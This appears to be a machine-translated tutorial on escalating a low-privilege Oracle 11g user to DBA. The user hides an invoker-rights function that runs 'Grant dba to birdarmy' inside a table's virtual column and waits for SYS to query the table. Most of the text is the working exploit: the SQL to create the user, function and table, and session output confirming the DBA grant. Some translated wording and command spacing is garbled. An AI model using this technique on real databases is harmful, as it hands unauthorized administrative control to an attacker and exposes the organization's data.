Oracle 11g uses virtual columns to obtain DBA Permissions

In Oracle 11g, the system provides a new function, Virtual columns.

Official Website description:

A virtual column is not stored on disk. Rather, the database derives the values in a virtual column on demand by computing a setExpressions or functions. Virtual columns can be used in queries, DML, and DDL statements.

The system uses virtual columns to call operations or functions when this column of data is required. The results are not saved on the hard disk, similar to the view function.

Virtual columns syntax

Column_name [datatype] [generated always] AS (expression) [VIRTUAL]

For example:

SQL> create table test (a int, B int, c generated always as (a + B) virtual );

Table created.

SQL> insert into test (a, B) values (10, 20 );

1 row created.

SQL> select * from test;

A B C

------------

10 20 30

This function allows you to use functions. If you have the permission to create functions at the same time, you can use oracle to improve the permissions of commonly used authorization functions. The authorization function is used in the virtual column. When sys queries, an event is triggered or any other method is required. Once this function is triggered, the user can be successfully promoted to DBA permissions.

Example: www.2cto.com

First, we create a user birdarmy who has the permission to create tables and functions. To facilitate the test, I directly grant them the connect and resource permissions.

SQL> create user birdarmy identified by 123456;

User created.

SQL> grant connect, resource to birdarmy;

Grant succeeded.

Use the birdarmy permission to log on and create functions and tables.

[Oracle @ ORA-TEST-03 ~] $Sqlplus birdarmy @ gc12

SQL * Plus: Release 11.2.0.2.0 Production on Mon May 7 15:36:12 2012

Copyright (c) 1982,201 0, Oracle. All rights reserved.

Enter password:

Connected:
Oracle Database 11g Enterprise Edition Release 11.2.0.2.0-64bit Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options

Create an authorization function and use grant dba to birdarmy to escalate permissions. When sys and other users with advanced authorization functions call this function, the birdarmy permission is upgraded to DBA.

SQL> CREATE OR REPLACE FUNCTION GRANT_DBA_TO_USER (v IN INT)

Return int authid CURRENT_USER DETERMINISTIC

AS

PRAGMA AUTONOMOUS_TRANSACTION;

BEGIN

Execute immediate'Grant dba to birdarmy';

RETURN 0;

END GRANT_DBA_TO_USER;

/

Create a test table exploit_virtual_columns and use the authorization function on the virtual column.

SQL> create table exploit_virtual_columns (a int, B generated always AS (GRANT_DBA_TO_USER (a) virtual );

Insert a data record so that the virtual column function is triggered only when you query the exploit_virtual_columns table.

SQL> insert into exploit_virtual_columns (a) values (1 );

View the permissions of the current user, only connect and resource.

SQL> select * from user_role_privs;

USERNAME GRANTED_ROLE adm def OS _
-----------------------
BIRDARMY CONNECT NO YES NO
BIRDARMY RESOURCE NO YES NO

[Oracle @ ORA-TEST-03 ~] $Sqlplus/as sysdba

SQL * Plus: Release 11.2.0.2.0 Production on Mon May 7 15:42:43 2012

Copyright (c) 1982,201 0, Oracle. All rights reserved.

Connected:
Oracle Database 11g Enterprise Edition Release 11.2.0.2.0-64bit Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options

Use the sys user to query exploit_virtual_columns and trigger the GRANT_DBA_TO_USER function in the virtual column.

SQL> select * from birdarmy. exploit_virtual_columns;

A B

--------

1 0

[Oracle @ ORA-TEST-03 ~] $ Sqlplus birdarmy @ gc12

SQL * Plus: Release 11.2.0.2.0 Production on Mon May 7 15:43:14 2012

Copyright (c) 1982,201 0, Oracle. All rights reserved.

Enter password:

Connected:
Oracle Database 11g Enterprise Edition Release 11.2.0.2.0-64bit Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options

View User Permissions. the DBA permission is obtained successfully.

SQL> select * from user_role_privs;

USERNAME GRANTED_ROLE adm def OS _
-----------------------
BIRDARMY CONNECT NO YES NO
BIRDARMY DBA NO YES NO
BIRDARMY RESOURCE NO YES NO